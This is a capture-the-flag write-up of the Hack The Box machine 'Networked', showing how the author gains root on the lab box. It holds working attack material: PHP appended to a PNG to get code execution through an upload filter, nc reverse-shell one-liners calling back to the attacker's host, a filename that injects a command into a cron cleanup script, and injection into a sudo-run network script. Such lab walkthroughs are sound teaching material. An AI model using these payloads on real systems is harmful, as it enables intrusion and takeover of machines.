Hack The Box - Networked
Hack The Box - Networked
Quick Summary
Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE
vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146
, I added it to /etc/hosts
as networked.htb
. Let’s jump right in !
Nmap
As always we will start with nmap
to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET
Nmap scan report for networked.htb (10.10.10.146)
Host is up (1.7s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds
root@kali:~/Desktop/HTB/boxes/networked#
We got ssh
on port 22 and http
on port 80, let’s check the web service.
Web Enumeration
The index page had nothing except for this message:
So I ran gobuster
to check for sub directories and I found 2 interesting directories, /uploads
and /backup
:
root@kali:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://networked.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 01:21:45 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/uploads (Status: 301)
=====================================================
2019/11/16 01:24:26 Finished
=====================================================
root@kali:~/Desktop/HTB/boxes/networked#
In /backup
I found a tar
archive that had a backup of all the site’s pages:
root@kali:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar
--2019-11-16 01:25:13-- http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’
backup.tar 100%[=====================================================================================================================>] 10.00K --.-KB/s in 0.1s
2019-11-16 01:25:13 (95.3 KB/s) - ‘backup.tar’ saved [10240/10240]
root@kali:~/Desktop/HTB/boxes/networked#
root@kali:~/Desktop/HTB/boxes/networked# mkdir backup
root@kali:~/Desktop/HTB/boxes/networked# cd backup/
root@kali:~/Desktop/HTB/boxes/networked/backup# mv ../backup.tar .
root@kali:~/Desktop/HTB/boxes/networked/backup# tar xvf backup.tar
index.php
lib.php
photos.php
upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup# ls -la
total 36
drwxr-xr-x 2 root root 4096 Nov 16 01:26 .
drwxr-xr-x 3 root root 4096 Nov 16 01:25 ..
-rw-r--r-- 1 root root 10240 Jul 9 13:33 backup.tar
-rw-r--r-- 1 root root 229 Jul 9 13:33 index.php
-rw-r--r-- 1 root root 2001 Jul 2 13:38 lib.php
-rw-r--r-- 1 root root 1871 Jul 2 14:53 photos.php
-rw-r--r-- 1 root root 1331 Jul 2 14:45 upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup#
index.php
:
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
lib.php
:
<?php
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">
<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}
?>
photos.php
:
<html>
<head>
<style type="text/css">
.tg {border-collapse:collapse;border-spacing:0;margin:0px auto;}
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg .tg-0lax{text-align:left;vertical-align:top}
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>
</head>
<body>
Welcome to our awesome gallery!</br>
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$ignored = array('.', '..', 'index.html');
$files = array();
$i = 1;
echo '<div class="tg-wrap"><table class="tg">'."\n";
foreach (scandir($path) as $file) {
if (in_array($file, $ignored)) continue;
$files[$file] = filemtime($path. '/' . $file);
}
arsort($files);
$files = array_keys($files);
foreach ($files as $key => $value) {
$exploded = explode('.',$value);
$prefix = str_replace('_','.',$exploded[0]);
$check = check_ip($prefix,$value);
if (!($check[0])) {
continue;
}
// for HTB, to avoid too many spoilers
if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
continue;
}
if ($i == 1) {
echo "<tr>\n";
}
echo '<td class="tg-0lax">';
echo "uploaded by $check[1]";
echo "<img src='uploads/".$value."' width=100px>";
echo "</td>\n";
if ($i == 4) {
echo "</tr>\n";
$i = 1;
} else {
$i++;
}
}
if ($i < 4 && $i > 1) {
echo "</tr>\n";
}
?>
</table></div>
</body>
</html>
upload.php
:
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
/upload.php
:
/photos.php
:
RCE –> Shell as apache
We can use upload.php
to upload images then we can view them through photos.php
or /uploads/image_name
. For some time I tried to bypass the extension filter in upload.php
to upload php
files but I wasn’t able to bypass it. However I could get RCE
by injecting php
code in the uploaded images.
I got a solid black image and called it original.png
, let’s upload it:
Now let’s copy that image and inject some php
code into the new image:
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
root@kali:~/Desktop/HTB/boxes/networked#
I injected <?php passthru("whoami"); ?>
which should execute whoami
, let’s test it:
Now if we view the file from /uploads
we won’t get the image, we’ll get the binary data of the image and the result of the executed php
code at the end:
whoami
got executed successfully and we’re the user apache
.
I created another one to get a reverse shell:
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f");' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked#
And I got a shell as apache
:
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:55662.
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ hostname
hostname
networked.htb
sh-4.2$
Command Injection in check_attack.php –> Shell as guly –> User Flag
First thing I did after getting a shell was to make it stable:
sh-4.2$ which python
which python
/usr/bin/python
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
bash-4.2$ export TERM=screen
bash-4.2$
Then I started to enumerate the box, there was only one user on the box called guly
:
bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x. 3 root root 18 Jul 2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$
We can’t read the flag as apache
, but there are some other interesting readable stuff, crontab.guly
shows that /home/guly/check_attack.php
gets executed as guly
every 3 minutes:
bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$
check_attack.php
:
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
bash-4.2$
This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm
command without any filtering which makes it vulnerable to command injection:
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
$path
is the path of the uploads directory:
$path = '/var/www/html/uploads/';
And $value
is the suspicious file’s name.
We can simply go to /var/www/html/uploads
and create a file that holds the payload in its name. The name will start with a semicolon ;
(to inject the new command) then the reverse shell command.
bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$
After some time I got a shell as guly
:
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ^Z
[1]+ Stopped nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[guly@networked ~]$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 3072 Nov 16 00:48 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
[guly@networked ~]$
We owned user.
Command Injection in the Network Script Name –> Root Shell –> Root Flag
As guly
I checked sudo -l
and found that guly
can run /usr/local/sbin/changename.sh
as root without a password:
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
changename.sh
:
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
[guly@networked ~]$
This script simply creates a network script for an interface called guly
then activates that interface. It asks the user for these options: NAME
, PROXY_METHOD
, BROWSER_ONLY
, BOOTPROTO
.
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
We’re only interested in the NAME
option because according to this page we can inject commands in the interface name. Let’s try to execute bash
:
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cd /root/
[root@networked ~]# ls -la
total 28
dr-xr-x---. 2 root root 144 Jul 15 11:34 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc
-rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc
-r--------. 1 root root 33 Oct 30 2018 root.txt
-rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc
-rw------- 1 root root 1011 Jul 15 11:34 .viminfo
[root@networked network-scripts]#
And we got a root shell.
We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw